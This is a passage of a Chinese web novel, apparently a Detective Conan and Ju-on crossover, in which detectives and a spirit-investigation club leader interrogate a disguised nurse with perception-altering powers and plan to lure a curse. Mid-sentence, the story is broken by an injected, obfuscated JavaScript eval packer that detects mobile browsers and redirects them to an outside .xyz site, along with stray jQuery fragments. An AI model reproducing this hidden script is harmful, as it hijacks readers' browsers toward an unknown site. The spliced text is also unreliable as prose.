松田阵平闻言,表情微微松怔,正要回忆,又听到夏楠那轻飘飘的说话声,“嗯?怎么,你也知道伽椰子么,护士……小姐。” “既然这样,就由你来说吧,你送给我们警官先生的,是什么东西?” 松田阵平:…… 他看向护士那张平平无奇的脸。 平平无奇的,没什么记忆点的…… 等等,那个时候,他遇到…… 随着回忆的持续,脑海里朦胧的画面仿佛一下子拂开了一层蒙蔽阴霾,真实的记忆在阴霾散去候,瞬间喷涌重组。 ! “是你?!” 他见到的根本不是芙季绘,而是眼前的护士! 这又是什么? 催眠?! 是啊……芙季绘明明就躺在床上,又怎么能跑那么远,就算是灵魂之类的东西…… 松田阵平脸色一黑。 他想到了之前在佐伯宅时自己的经历,无知无觉的变成另一个人什么的…… “你做了什么?” 松田阵平向前逼近一步,蓄势待发的样子看起来很有气势,也很有压迫力。 伴随着松田阵平的质问,护士略带惊惶的神情不见了,之前还浮于表面的演技被抹去之后,只剩下一种古怪的玩味。他用带着点挑衅意味的语气,开口,“二位这是在说什么?我不是很明白。” “不明白?”松田阵平咬了咬后槽牙。 今天一天遇到的事情太多了,日常的背后,世界的另一面在他面前露出了冰山一角。 原本的世界观摇摇欲坠。 ——排除一切不可能的,剩下的那个即使再不可能,也是真相。 还是植物人的芙季绘不可能出现在那时的交番,但她却在晚上被发现闪现佐伯宅,异象伴随着她的到来开始,又随着她的离开结束。 怎么解释? 而且,为什么是他?为什么是交番? “妨碍公务,欺骗警察,这位护士小姐,”松田阵平说道,“现在只能请你先跟我走一趟了。” 这个人到底有什么目的?难道佐伯宅的一切都有人为制造的痕迹? 护士闻言,露出一个嘲讽的笑,她张嘴,刚要说话…… “请等一下,”夏楠抬起一只手,做了个中止的手势,“我个人不是很建议现在把他交给警方,松田警官,”他看了眼那名护士,“就算要交,也要交给专业机构,比如……”夏楠想了想,其实他也不是很确定这里应该出现的是哪个机构,干脆先略过,“……毕竟,目前看起来,这里面牵扯还挺多的样子。” 听到夏楠的话,松田阵平迟疑了,“……我可以问问……” 这是他第一次接触到这种类型的案件,说实话流程什么的也是一窍不通。鉴于眼前这位护士拥有一些奇怪的催眠能力,即使现在交给警方,在准备不充分的情况下,的确很可能出状况。 夏楠的表现让他明白了官方一定有专门处理这类事件的隐秘机构。 “问什么?比起这个,松田警官,我们……不如带她一起回去。” “一起回……”松田阵平说道,“你是说……” 夏楠笑眯眯,“没错,回到那传说中的诅咒之家,‘伽椰子’的诞生之地~” 他扫了一眼一边的护士,“嗯?你看起来很激动的样子,你也很想去,对不对?” 没忍住,并在一瞬间露出了排斥的表情的护士:…… “我什么时候……”护士皱眉,紧接着,想到什么一样,又忽的松开,“……你们会后悔的,仅仅只是查到点什么东西,就迫不及待的送上门来……”他又挂起了嘲讽脸,“说起来,你们还不知道吧,就在不久前,这里死了个警察呢……” “你好像知道的挺多,”夏楠再次打断,并似笑非笑的看着他“这样吧,说说,你都知道些很么?” 两次被打断的护士已经快保持不住自己的嘲讽嘴脸了,他冷哼一声,“我只是这里的护士,我不知道两位在说什么。” “哦,”夏楠敷衍的哦了一声,他问松田阵平,“他为什么不答应?” 松田阵平:…… 顿了顿,松田阵平突然察觉,“等会儿,他?” “对啊,”夏楠说道,“他,天呐,你终于注意到了吗?” 松田阵平:…… 他再次看向站在一边护士‘小姐’,视线从对方脸上划过,最终停留在他的脖子上。 制服的领子遮挡了一部分视线,这让他有些难以分辨。 至于胸……这个太好作假了。 虽然夏目楠的性格在松田阵平内心十分难评,但短暂的相处经历让他有一个基本的判断——夏目并不是会随口胡诌的人设,他不屑于说如此直白的谎言。 所以,是男人? 男扮女装? 松田阵平忽然笑了,“很好,这位……我现在有理由怀疑你以假性别混进医院,试图对病人行不轨……” 夏楠在一边鼓掌,捧场道,“非常合理~” “或者……冒名顶替她人身份,”松田阵平无语了看了一眼啪啪鼓掌的夏楠,接着说自己的话,“怎么办,指控越来越多了,你……” 夏楠在一边轻快的接话,“还不跑吗?” 松田阵平:…… 这两人一唱一和的,让原本还觉得自己一切尽在掌握的假护士终于沉下了脸。特别是夏楠的态度,还有那仿佛他是什么跳梁小丑一样轻蔑的视线! 护士阴沉沉的说,“无知又愚蠢的人类……唔!” “到此为止哦。” 怎么突然就串频了。 什么中二发言。 护士的脖子上突然多了一只手,一只干净修长的手,手的主人原本笑眯眯的表情已经消失,取而代之的是毫无感情的凝视,“现在,说,说你知道的,所有。” “不要让我重复第二遍。” 松田阵平十分惊诧——他是什么时候过去的? 夏楠的手正搭在护士的脖子上,明明看起来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588861|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用什么力气,轻飘飘的挨在那里的样子,对方却仿佛被紧紧捏住了喉咙一样。护士的脸色一瞬间涨的通红,甚至有些发紫,他瞪大了眼睛,露出了极其惊恐的神色,喉咙间不时发出嗬嗬的试图用力喘息的声音。 眼见护士连冷汗都流了出来,夏楠忽的又松开了搭在对方脖子上的手,有些嫌弃的将手心在床上擦了擦。 仿佛溺水的人终于上岸一样,护士弯着腰大口的喘息起来,又克制不住恐惧的本能,后退的撞到了墙上,接着,脱力一般,沿着墙面滑座在地上。 喘息间,他艰难的抬起视线。 “原来如此,你也是冲着它来的。” 诡异的经历让护士不知道脑补了些什么东西,他愤恨的目光投射过来,“没用的,这一只早就被人预订了,你抢不过他的。” 夏楠:……他又是谁? 原本只是拿佐伯宅唬人,没想到眼前这位是真不经吓。 看似骨头硬,实则已经说了一堆。 emmm…… 要不……再吓一下? 夏楠指着那护士,端起无表情的样子对松田阵平说道,“你来还是我来?” 秒懂夏楠意思的松田阵平:…… 你好,虽然但是,还记得我是警察吗? 松田阵平缓缓吸了一口气,他仿佛没听到夏楠刚刚那句话一样,只说,“我去查一下他的就职记录,一会儿回来。” 说完,他重新打开身后刚刚合上的房门,闪身出去,并再次把门关上。 少了一个人,病房内安静了一会儿。 夏楠对着护士露出了和善的微笑,他走了几步,蹲在了靠墙瘫坐的护士面前,从口袋里掏出了手持录像设备,熟练的打开,并对准了护士的脸。 “好了,乖,告诉我,你的能力是什么,你的他又是什么。” 夏楠的语气很轻柔。 护士没有动。 夏楠也不急,等了一会儿,见对方不配合,还一脸疑惑的歪了歪头。 他抬起了空着的那只手…… 一道银光闪过。 …… 护士惊讶的看着被夏楠稳稳抓在手中的刀刃,“你……你……” 你什么哦。 锋利的刀刃划破了夏楠的手心,却再也不能移动分毫,仿佛薄薄的皮肉下是钢筋铁骨,任由刀再锋利,挥刀的人再用力,也无法继续割开分毫。 “好疼啊。” 夏楠说道。 漆黑的眼睛直勾勾的盯着眼前的护士,新鲜的血液沿着刀刃缓缓滑落。 “你要知道,我从来不是什么有耐心的人。” 在护士愣神的空档里,夏楠动作熟练的夺过了对方手里的小刀,刀刃挑开了护士咽喉处的扣子,抵在了他藏在衣领下的喉结上。 “就这?”夏楠有点失望,“没别的了?” 护士忽然有些崩溃,“你到底是什么人?为什么我的能力对你不起作用!” 夏楠:…… “你已经用能力了吗?” 他思考了一下,“让我猜猜……你的能力并不能改变自己的外形,只能改变他人对你的认知,对么?” 本来还在想明明已经为他创造出了合适的条件——单独相处——这个人却一直都没有什么动作。 结果他居然已经用了么。 “能力发动的条件是什么?”居然对他用认知干扰类的能力……夏楠略过了这件事,没什么表情的继续问,“接触?媒介?嗯……你送给松田的东西呢?” “不如也送我一个。” 护士:…… 他的视线有一瞬间集中在夏楠手里的刀上。 夏楠:哦! “这个?”夏楠晃了晃手里的刀,“所以是‘由你的手转交的东西’,这样?” 护士:…… 全中。 “行吧,让我们愉快的讨论下一个问题——你口中的那个他,是谁?” 护士依旧沉默。 夏楠等了一会儿。 “还不说么?” 话音落,他忽然动了。 毫无预兆的,夏楠手中的刀划开了护士的咽喉。 ! 护士立刻抬手捂住不停流血的喉咙,但是不行,这一刀划的太深了,甚至切开了他的气管。血液顺着气管流进肺里,护士开始不停的呛咳,极速的血液流失让他的眼前开始一阵一阵的发黑,他摊倒在地面上,不受控制的抽搐了几下。 整个人还是懵的,后知后觉的对死亡的恐惧在倒地后才涌了上来,就在这时,如同产生了共鸣一样,从夏楠进入这间房间开始就一直表现的十分平静且无害的伽椰子终于有了动静。 芙季绘的身体还在病床上,一个一模一样的身影却出现在了墙角。灯光开始不停的闪烁,咯咯咯咯咯咯的经典气泡音响起。 举着摄像的夏楠扫了眼墙角站着的芙季绘外表的咒怨与正在从床底爬出来的经典伽椰子造型的咒怨,无语了一下。 上一个玩切片的坟头草已经三尺高了,你也要玩切片吗? 老旧电视信号不良一样的画面,带着噪点的侵蚀。 幻觉,一种认知干扰。 从这个角度看,这种出场方式,其实挺科学的。 夏楠无视了一切异状,抬起空着的那只手,双指并拢成剑印,在空气中随意一挥。 “很抱歉,现在还不到你出场的时候,伽椰子。” 只是很平静的一句话,只是很随意的动作。 伴随着这一挥,灯光重新恢复正常,双伽椰子夹击仿佛幻象一样,消失了。 地上的护士抽搐成了一只虾米,他依旧捂着喉咙,但仔细看,其实那里根本没有伤口。 认知改变而已,他也可以。 房间重回正常。 夏楠拍了一会儿还没完全反应过来发生了什么的假护士,接着,转身走到病房门口,打开了门。 门外,是不放心之下根本没走的松田阵平。 “刚刚什么情况,你怎么样?” 夏楠挑眉,“你不是去查记录了吗?” “我叫了班长,就是伊达航,他刚好也要过来一趟,”松田阵平扬了下手中的手机,神色如常的走进病房,看到了倒在地上的假护士,“嗯——” “我想你应该知道……” 夏楠笑眯眯的说,“放心,他毫发无损。” 10. 十 “你的手怎么了?”松田阵平注意到了夏楠还在流血的手,以及被夏楠随意丢在地上染血的刀。 夏楠:…… 哦,对。 我受伤了。 他抬起手看了看手心,还挺唬人的样子。 嗯…… 夏楠将手伸到了松田阵平面前。 松田阵平顺势看了过去。 是刀伤,显而易见,不过还好,伤口不深。 现在不是叫医生过来帮忙的时候,松田阵平正打算先在病房里找找看有没有能包扎的绷带,夏楠出声了。 “好疼啊。” 没什么起伏的语气。 受了伤的手依旧举在松田阵平面前。 松田阵平愣了一下,他有些不确定的看向夏楠,犹豫着开口,“你……不会是在撒娇吧?” “是吗?”夏楠眨了下眼,他看着松田阵平,忽然笑了笑,“是吧。” “手疼,松田警官。” 松田阵平:…… 很好,确认是在撒娇。 —————— 假护士终于肯配合了,真是可喜可贺。 “……我们有契约,”护士说道,“你也是除妖师,你应该知道!” “如果违背契约,会……会发生很可怕的事。” 夏楠不知道自己的什么表现让对方认为自己是除妖师,但他不打算解释。 现在这种展开也挺有意思的。 松田阵平看向夏楠,“契约?” “就是一种相互之间的约束,分两部分,一部分是约定本身,比如晚上一起吃饭,一部分是代价,比如如果违反约定,会吞千根针。” “在妖鬼的世界,说吞千根针,是真的会吞的。” 一种有惩罚机制的约束,相对于约定而言,其实更偏向买卖。 松田阵平明白了。 “你说他‘也是’除妖师,意思是,和你有契约的人,是除妖师?” 护士点了点头,又摇头。 松田阵平:…… 他再次看向夏楠。 “大概指的是契约方并不是除妖师,但契约是在除妖师的授意下建立的,”夏楠问松田阵平,“知道阴阳师吗?影视剧里,厉害的阴阳师都有式神。” “这样么……”松田阵平说道,“人和人之间不能建立契约?” “可以啊。” 夏楠说道,“但是人会惜命,契约双方付出的东西价值不能差距过大,如果一方押上的是性命,另一方就得开出足够的价码,不然契约是无法成立的。” “以人类的价值观来说,与性命同重的东西,是什么?普世价值观当中的命贵是无法以金钱衡量的,所以,就算人与人的交易中钱能买命,在这里也行不通。” “妖鬼的世界就不一样了,人类的性命所拥有的价值在他们那里并不太高,那么相对的,它们所需要开出的价码也不需要太高。” 夏楠摸了摸下巴,“契约这种东西其实是很唯心的,同时唯的一点也不片面,很多时候,还都会照顾到族群整体的价值倾向。只要试图建立契约的一方具有足够的社会属性,那么,就算他的内心把自己看的再高,其他人都是蝼蚁,该有的等价交换还是一点也少不了。” “所以许多拥有式神的人在必要的时候,更倾向于让式神与人类定契约,利用价值倾向的差异做点小文章,这样就能最大化自己的利益,——任务的完成有了保障,还能少付一点报酬。” “他的情况的话,大概只是换了一笔钱吧。” 假护士听了一顿科普,意识到自己被摆了一道,脸有些绿;“……那个家伙!” “……原来如此。” 松田阵平若有所思。 他看向假护士,“你们的契约内容是什么?” 问话间,他的手机响了一下,松田阵平点开看了一眼,速度很快的回复了什么,几乎是盲打,接着又马上将注意力重新挪了回来。 夏楠跟着瞥了一眼他的手机。 松田阵平已经把手机重新扣放在了手边。 得知自己被忽悠的假护士已经对自己的雇主产生了许多不满,但就算不满,他还是不能说。 松田阵平见状,大概猜到了契约内容不能透露也是契约的一部分,干脆换了个问法,“你的代价是什么?” 假护士的脸色瞬间难看极了。 松田阵平:…… 行,懂了。 他看向夏楠,“有办法阻止吗?” 夏楠继续知无不言,“如果双方都同意契约解除,或者双方都认定契约已经完成的话,大概?” 松田阵平语塞。 这就难办了。 如果不能透露契约对象,不能透露契约内容都是契约的一部分的话…… ——还是得用传统方法么,筛查联系人,调查个人账号资金来源什么的。 “松田警官~”夏楠看了看松田阵平的表情,嘴角露出一抹玩味的笑,又很快捋平,他忽然举手,“请问我们什么时候回佐伯宅呢?” 松田阵平犹豫了一下,说道“……接下来还需要嫌疑人配合警方的调查,我们现在已经知道了他的能力发动条件,他已经构不成威胁。” 言下之意是要回绝之前夏目提出的——把假护士一起带去佐伯宅——的提议了。 “我拒绝。” 夏目的脸沉了下来,声音也变的冷冰冰的,“警官先生,你是要妨碍我社的正常工作么?” 变脸好快。 不久前还会朝着人撒娇,这会儿一句话不对就要冷脸。 松田阵平还是第一次遇到这么情绪化且情绪化的如此直接的人。 而且他也不是很能搞清楚夏楠那忽上忽下的态度里究竟有几分真几分假。 一个十分熟练于掩盖真实的自己的人。 他倒是没觉得有什么不对,毕竟夏目楠……短时间的相处中,夏目楠在他心里的形象,其实和目前这个样子也没什么差别。 就是那种,靠谱中带着离谱,离谱里又加了非常离谱,的程度。 松田阵平:…… 他果断转移了话题。 “班长他们应该快过来了,希望你能配合,夏目,这是已经决定好的事情。” 这里的病房隔音效果很一般,松田阵平在外面的时候有听到夏楠与假护士的对话,知道对方能力的触发是需要媒介的。 在嫌疑人那能够扭曲他人认知的能力无法使用的前提下,警方的调查行动会便利许多。 只是用完别人就把人一脚踹开这件事,做的多少有些不地道。 “……这样,我可以先送你回去。”松田阵平顺手转了转手边的手机,又抬起手,按下了夏楠一直没离手的摄像的镜头。 夏楠与松田阵平对视了一会儿,对方很严肃的冲他眨了眨眼。 他们。 转手机。 还眨眼。 生怕他注意不到。 夏楠憋住了笑。 好直白的暗示,不怕别人听出来么? 难怪外号叫松甜甜,夏目虽然还没领会到松田阵平传说中的‘很凶’,却已经体验到了后面的‘但很温柔’。 人气第一果然是有原因的。 “好吧,”似乎是妥协了,他伸出一根手指,“但不止我。” “我要带上她。” 夏楠的手指指向了床上的芙季绘。 “什么……”松田反应过来,他看了眼病床,“你要带上她?!” “重要证物,就先叫这个吧,不带她,难道还把她留给那个不知名的除妖师吗?” “关于这一点,我们可以安排专人看守病房。” 说这句话的不是松田阵平,而是刚刚推门进来的伊达航。他手里拿着手机,手机开着公放,伊达航的声音通过多次传播在小小的病房内造成了一点诡异的响动。他默了一下,把电话关了。 伊达航的身边跟着一名蓄着整齐小胡须的中年男性。男人在进门后瞥了一眼床上的病人,接着,像是被烫到了一样,快速移开视线。 夏楠看了眼来的两人,笑容重新爬回了眼角。 “抱歉,事情太严重,我们不能任由你随意发挥。”松田阵平摁亮了屏幕,屏幕左上角的小图标显示,通话一直在后台持续进行中。 “我是警察,夏目。”他有些歉意的看着眼前的青年。 如果是在警校时期,松田阵平会很乐意与夏目一起,躲开官方自己单干。毕竟如果不这样,还只是警校生的他们肯定会被排除在案件侦破之外。但现在的情况不一样,他自己就是官方的一员。 当然,更重要的原因是,比起横滨那边推荐的一个不知道从哪里冒出来的小小网红会社,上面更愿意相信已经知根知底合作多年的有正规背景的组织。 就个人情感而言,松田更愿意与夏目合作,尽管夏目的性格有些一言难尽,但其实,两人在实际上的配合方面意外的很合拍。 然而这只是他的个人倾向。 他的个人倾向不作数的。 ——小心一点,夏目在背调里获得的官方评价……并不太好。 这是班长刚刚发给自己的信息。 这就奇怪了,明明探灵社是取得了横滨官方的推荐才能获得和警方配合调查的许可,它自身作为特殊机构在横滨入档的背调里得到的却是‘不可控’的评价。 不对劲。 想到这,松田阵平捏了捏手指。 夏楠垂下眼睫,轻轻的笑了一声。 “原来如此,”他说着,收起手持摄像,慢慢站直了,“我还以为我们已经是很好的搭档了呢,松田警官……” “……这可真令人难过啊。” 气氛一时有些尴尬。 伊达航原地踟蹰了一会儿,有些不知道接下来的话该怎么说,毕竟直接赶人什么的…… 可上面的意思已经很明朗了,探灵社是一定要被排除在案件侦破之外的。 这也是为了大局考虑。 跟在伊达航身后进来的男人倒是一副很不会读空气的样子,大大方方的走上前来。 他的礼节很周到,一举手一投足都带了些现代人少有的风韵。 中年人的目标很明确,他直接来到夏楠面前,“这位……” “嘘——”夏楠笑眯眯的看向他,带着一副标准的浮于表面的微笑,“我不想听。” 中年人余下的话被噎了回去,但他依旧很有风度,短暂的失态被他一带而过,“哈哈哈,年轻人,气盛,很有活力嘛,这是好事,”接着话风一转,表情稍稍严肃下来,“只是,有些时候,还是谦虚点比较好,如此莽撞行事,总有得罪到不该得罪的人,招惹到不该招惹的东西的时候。” 夏楠听着中年人说完,就这样似笑非笑的看了那人的脸一会儿,“你说的对。” 他重复了对方的话,“得罪不该得罪的人,招惹不该招惹的事。” —————— “抱歉,夏目。” 这是松田阵平第二次道歉了,他正驱车送夏目回佐伯宅。 其实也不该叫送,而是同行。作为临时被同意参与合作的两名跨课警官之一,松田阵平果然被丢了出来——他现在依旧是警方派遣与探灵社合作的警员之一。 另外一个之一是荻原研二。 名义上依旧是任务的一员,实际上已经被边缘化了。 伊达航作为原本就隶属搜查一课的巡警,因为表现出色而无缝加入了那边的专案小组。尽管伊达航解释假护士是夏目楠和松田阵平发现的,并没人听他说话。 “已经不是合作了吧,”夏楠趴在车窗上,看着外面倒退的夜色与灯光,午夜早就过了,“现在是监视?” “嗯……”松田阵平看了眼夏楠,“不要在意这些小事,比起这个,你现在打算怎么做?” “怎么做?”夏楠离开车窗,“竞速游戏玩过么?” “当然,怎么?” “他们有他们的方式,我有我的方式,”夏楠趴到了驾驶座的椅背上,“探灵社有探灵社的方式。” 松田阵平品了品这句话。 —————— “社长,你可总算回来了,”千寻端着一次性的打包饭盒,里面装的是红彤彤的咖喱和米饭,他不在院子里,而是窝在院门外的车上,看到夏楠他们回来,摇下车窗抱怨,“你不在,里面的信号根本用不了。” 夏楠的目光定格在了他手中的咖喱上,“你不是吃不了辣吗?” “我可以尝试。” “尝试的结果怎么样?” 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夏楠走到织田作之助身边,问道,“怎么样?” “信号一直很不稳定,而且有杂音,听不出是什么,画面也不连贯,”织田作之助回答,“除此之外,房子里没有别的什么事情。” 夏楠看他一眼,“房子里没有,房子外有?” “有一个人来问路,”织田作之助回忆了一下,“举着一把纸伞,穿着浴衣,男性。” “问去最近的旅馆的路,”荻原研二接话,“大半夜的举着伞,看起来挺吓人的。” “什么时候的事?” “伊达警官刚走后不久。” 吉川惠子在后面默默举手,小小声说,“我知道他是谁。” 此话一出,所有人都转过来看向她。 “应该是的场家的人……如果没记错的话。我以前,因为诅咒的事,和家里一起去拜访过他们,”吉川惠子说道,“那个人,应该是的场家的少当家。” 这又是哪里冒出来的人物,听起来还是那一个世界的人。 松田阵平已经养成了遇到这类事情不决就看夏楠的习惯,可惜夏楠这次的注意力不在他身上。 “惠子感觉怎么样?” 吉川惠子抿唇笑了一下,“有一点冷,织田先生从车上取了毯子给我,但还是有点冷,”她捏着面包的手指紧了紧,刚刚恢复没多久,指尖还微微泛着青,“……夏目先生,惠子有帮到忙吗?” “有哦。” “……真的吗?”吉川惠子抬起眼,眼里雾蒙蒙的一片。 夏楠:…… 他叹了口气。 “吉川惠子,今晚以后,无论是伽椰子,还是这栋凶宅,都会成为你的过去式。” “让它们成为你的过去式。” “你该向前走了。” …… 吉川惠子猛的低下头,她含糊的嗯了一声,开始对着手里的面包使劲,没什么力气,就一点点的咬。小鸡啄食一样的动作,却硬生生被她吃出了饿虎扑食的气势。 “喝点水,别噎着。”织田作之助拿着一瓶水,放到了吉川惠子的腿上,又重新退开。 千寻左右看了看,又看了眼自己怀里心爱的设备——这个肯定是不能给出去的。他原地想了想,干脆上前摸了摸吉川惠子的头,“别误会,我只是为了合群,虽然我不是很理解为什么画风会突然变成这样。” 吉川惠子:…… 夏楠也凑上前摸了摸吉川惠子的脑袋,“其实我也不知道。” “哈?不就是从你开始的吗?” “我只是对受伤的下属进行最基础的人道主义慰问,并没有煽情的意图,”夏楠摊手,“比起我,很难说你们不是行随心动,关心就要直说嘛。” “谁关心她了,”千寻反驳,“我只是为了合群!” “好好好,合群合群。”夏楠的手从吉川惠子头上离开,无缝衔接到了千寻脑袋上撸了两把。 千寻一愣,随即反应过来,立刻后退,“喂!” 夏楠一脸无辜,“是人道主义关怀。” 一旁凑在一起交流了一下信息的松田阵平和荻原研二看着这边,“你们感情还挺好的啊。” 织田作之助以为千寻会立刻跳起来反驳,谁知道原本还在冲着夏楠炸毛的千寻却像是被这句话安抚下来了一样,原地愣了一会儿,然后啧了一声,抱着自己的宝贝电脑回到他的专属宝座——那个从屋子里搬出来的椅子上——坐着去了。 夏楠挑眉,干脆的略过了这个插曲,转而笑眯眯的看向织田作之助,抬起手…… 织田作之助:…… “我就不需要了。” —————— “首先,两件事。” 短暂的进食与闲聊之后,夏楠开口。 “第一件,惠子,你去车上睡觉,日出之前,还有很重要的工作要拜托你,”夏楠看向正看着他的吉川惠子,“做好准备,惠子。” 吉川惠子抓着身上披着的毯子,缓缓站了起来。 自从直面伽椰子之后再醒来,那个在夏楠面前时总会有些躲闪畏缩的女孩子似乎变的勇敢了些,坚定了些。 “好。” 吉川惠子的声音依旧虚弱,但她的眼睛很亮,特别亮。 荻原研二走了过来,“我送你吧。” 吉川惠子并没有推辞。 她得走快一点,快一秒,就能多休息一秒。她不知道夏楠口中‘重要的工作’是什么,但她已经隐隐有了预感。 结束的预感。 等荻原研二送完吉川惠子回来,夏楠再次开口。 “来说第二件,”夏楠看向了松田阵平与刚刚走过来的荻原研二,“二位警官,你们的目的是什么呢?” 被提问的两人对视一眼。 荻原研二:“我们的话……” 松田阵平:“真相,我们要真相,也要参与进获取真相的过程。” “没错,就是这样。” 回答的很斩钉截铁,但夏楠对两人的答案并不满意,“真相?” “你们要什么的真相?凶宅的?这么多年以来失踪和死亡的人的?还是那个假护士口中的除妖师的?” 11. 十一 “你们要什么真相?凶宅的?这些年以来与凶宅相关的受害人们的?还是那位假护士的?” 松田阵平与荻原研二再次对视了一眼。 “全部,”松田阵平回答,“我们要全部。” “没有卡在中间不上不下的道理,那样可太难受了,”荻原研二耸了下肩,“如你所见,我们的探究欲还是很旺盛的。” “当然,探究欲,”夏楠说道,“既然如此……”他笑着看向二人,“……探灵社可以接纳二位作为我们行动当中的同伴,并做到相关信息的共享。” “但,探灵社不是二位手中随意挥舞的工具,我们不需要如貔貅般只吞不吐的同伴。” “综上所述,这里又有一个问题,二位能为探灵社提供什么呢?” “天平的一端已经摆好了筹码,而现在,是你们该表态的时候了,警官先生们。” 一阵沉默。 松田阵平开口问道,“你们要什么?” 夏楠笑了。 “很简单,我们要二位完全的配合,”他补充道,“请放心,探灵社是遵纪守法的合法会社,不会做出勉强二位警官违背自己的原则这种事。” 荻原研二问道,“具体是什么事呢?” 夏楠竖起一根手指,“一,在结果出来之前,不可以以任何方式将我们这里的信息传递出去……” 松田阵平闻言皱眉,“可……” “嘘——”夏楠打断他,继续说道,“二,等到了时间,烦请二位警官与我一同进入这间房子,在没有携带护身符的情况下。” 荻原研二看了眼依旧皱着眉的松田阵平,“可以再说的明确一些么?进入房子的目的是?” 夏楠笑看了他一眼,继续举起了第三根手指,“三,请二位警官作为‘饵’,待在房子里,并努力求生,尽可能延长二位吸引佐伯宅诅咒的时间。” “请放心,我以个人名义向二位保证,两位的人生安全不会真正遭受任何危害,最多……受点精神攻击?” “二位不是对这边的世界很好奇么,一次绝佳的亲身体验的机会,还有人保障生命安全,只是一点精神攻击而已,不足为提,不是么?” 夏楠放下了手,“这就是探灵社的要求,如果二位能做到,那么,我们可以现在就开始动起来了。” 松田阵平并荻原研二:…… 这和明言说‘请你们对着自己的脑门来上一枪,我会在子弹钻进你的大脑前将它拦住’有什么区别? 太危险了。 如果诅咒是真的,如果被咒杀的传言是真的,如果…… 都是如果。 一个未知的世界,正在对他们发出邀请。 没真正直面过的荻原研二心动了。 遭遇过但记不清楚约等于白遭遇的松田阵平也心动了。 嗯…… 好奇,知道吧,好奇。 这该死的探究欲。 “你之前和吉川小姐说的,今晚之后,今晚,你就能彻底解决这里的……诅咒?” “如果计划顺利的话,当然。” “诱饵是必须的?” “没错。” “为什么是我们?” “惠子受伤,千寻胆小(千寻:喂,我不是胆小好吗?),小织有其它工作,”夏楠歪了下头,“有我陪你们还不够吗?” 松田阵平深深的看了夏楠一眼:“你知道我们的任务是监视吧。” “当然。” “如果不按时汇报你们的动作和动向,你知道会发生什么么?”松田阵平说道,“到时候,就不止是我们了。” “当然,我当然知道。” “所以要尽快呀,”夏楠原地转了个圈,接着,他张开双臂,“赶在今夜解决问题,毕竟今夜之后,我们大概率也不会被允许继续待在这里了,不是么?” 松田阵平咬牙,“你们果然伪造了推荐信!” 夏楠一脸你在说什么的表情,“怎么会,推荐信是真的。” “我们向曾经合作过的军警提出诉求,他们同意给出推荐信,一切都是按规范流程走的,为什么你会说是伪造?” “探灵社的任务是完成客户的委托,顺便拍点视频,为自己做做宣传,哪里有需要伪造推荐信的必要。” “真是,很莫名其妙的指控啊,松田警官。” 荻原研二不知道推荐信是什么情况,他看了看松田阵平,并没有选择在这个时候询问。 他相信好友的判断。 松田阵平看着夏楠,对方耷拉着嘴角有点生气的样子一如他一贯的作风。 推荐信不是伪造? 如果是这样,班长的短信又是什么意思? 横滨是一个很特殊的城市,它拥有着一定的自治权,听说军警在那边的权利架构中,是高于警视厅的。 一封来自军警的推荐信。 警视厅特殊民间机构档案里的评价。 看起来,这里面有什么……有什么与案件本身无关的东西。 …… “……啧。” 麻烦。 “我同意了。” 荻原研二微微挑眉,倒是没有质疑松田阵平的决定。他只是锤了一下好友的肩膀,故作恶狠狠的语气,“一会儿可得好好和我解释清楚,小阵平。” 接着,荻原研二看向夏楠,“我也同意。” 松田阵平回了荻原研二一下,问道,“要立契约吗?”他还挺好奇的,那个世界的契约。 谁知夏楠否定了。 “如果这样的小事都需要用契约来约束的话,接下来的行动恐怕也不会太顺利,”夏楠说道,“我愿意向二位付出我的信任,同时,也希望二位能回报给我们相同的信任。” 松田阵平吐槽一句,“都要当诱饵了,还得怎么信任啊。” 夏楠笑了笑,“也是。” “那么,我们现在就开始吧。” —————— 进入工作状态的夏楠看起来非常靠谱。 “首先,来说明一下二位在进去之后将会面对的是什么,毕竟,未知是恐惧的根源之一,如果知道了对方的实质概念组成,或许能帮助你们保持最基本的理智。” “这里先讲第一个概念——咒。” 咒是什么呢? 拿佐伯家的咒怨举例,咒是一种带有主动侵蚀能力的愿力。它们通常诞生于智慧生命强烈的负面情感中,比如恨,比如求而不得,比如不甘。伽椰子在死亡瞬间产生的强烈的不甘和恨在她死后成为了盘踞在佐伯宅中的咒,每一个接触过这种咒的人都会被打上标记,成为宅子中咒怨的猎物。 怨,同样是一种带有侵蚀能力的愿力,它缺少了咒的主动性,却比咒更具有包容性。怨通常诞生于人类的恐惧之中,对死亡的恐惧,对密闭空间的恐惧,对怪谈的恐惧,对医院的恐惧等。它会在恐惧的对象上凝聚,过于浓重的怨对活物有一定影响,却也很好解决。 佐伯家的咒怨以伽椰子那浓稠的咒为主干,缠绕并不断为她提供养分的怨逐渐供她成长。 “……所以,只要斩断伽椰子的咒,就能斩断这里的咒怨的根基。” 她的帮手俊雄其实可以忽略不计,小孩子的咒并没有那么浓烈。 现在的问题是,伽椰子把自己切片了。 不能一刀切,就只有春风吹又生,这样不好。 这里就是饵为什么要上场的原因了。 “伽椰子在死亡时的不甘或许包含了‘想要重获新生’类似这种的心愿,也许这就是成为咒怨的核心的‘伽椰子’有寄宿在人类躯壳上的行为的原因之一,这种行为虽然加大了它的食物获取范围,但也有隐患。” “她被盯上了。” “一个有资质转化为真正的妖鬼的咒怨,还是这样庞大的咒怨,有人想要预订,嗯……也是情有可原?” “寄宿在人类躯壳的伽椰子虽然拥有了一定的逻辑能力,但它毕竟脱胎于咒怨,想要完全压制收服为己所用几乎是不可能的事。” “那太危险了,无论对谁,都非常,非常危险。” “只是,那个想要伽椰子的家伙似乎不这么想。” 夏楠轻笑了一声,很轻很轻,却嘲讽意味十足。 “那家伙甚至想出了一个绝妙的好方法,可能他觉得这样就能增加名为‘伽椰子’的咒怨中秩序的部分吧……他正在实践这个方法。” 千寻的椅子被征用了,专属座位飞了的他只能抱着自己宝贝装备坐在了桌子上。 一台摄像正对准了坐在椅子上的夏楠,几个手电筒围着夏楠在地上摆了一圈,承担起了打光的职责。 画面外的松田正平问道,“什么方法?” “警官先生身上还带着那名假护士送给你的东西么?” 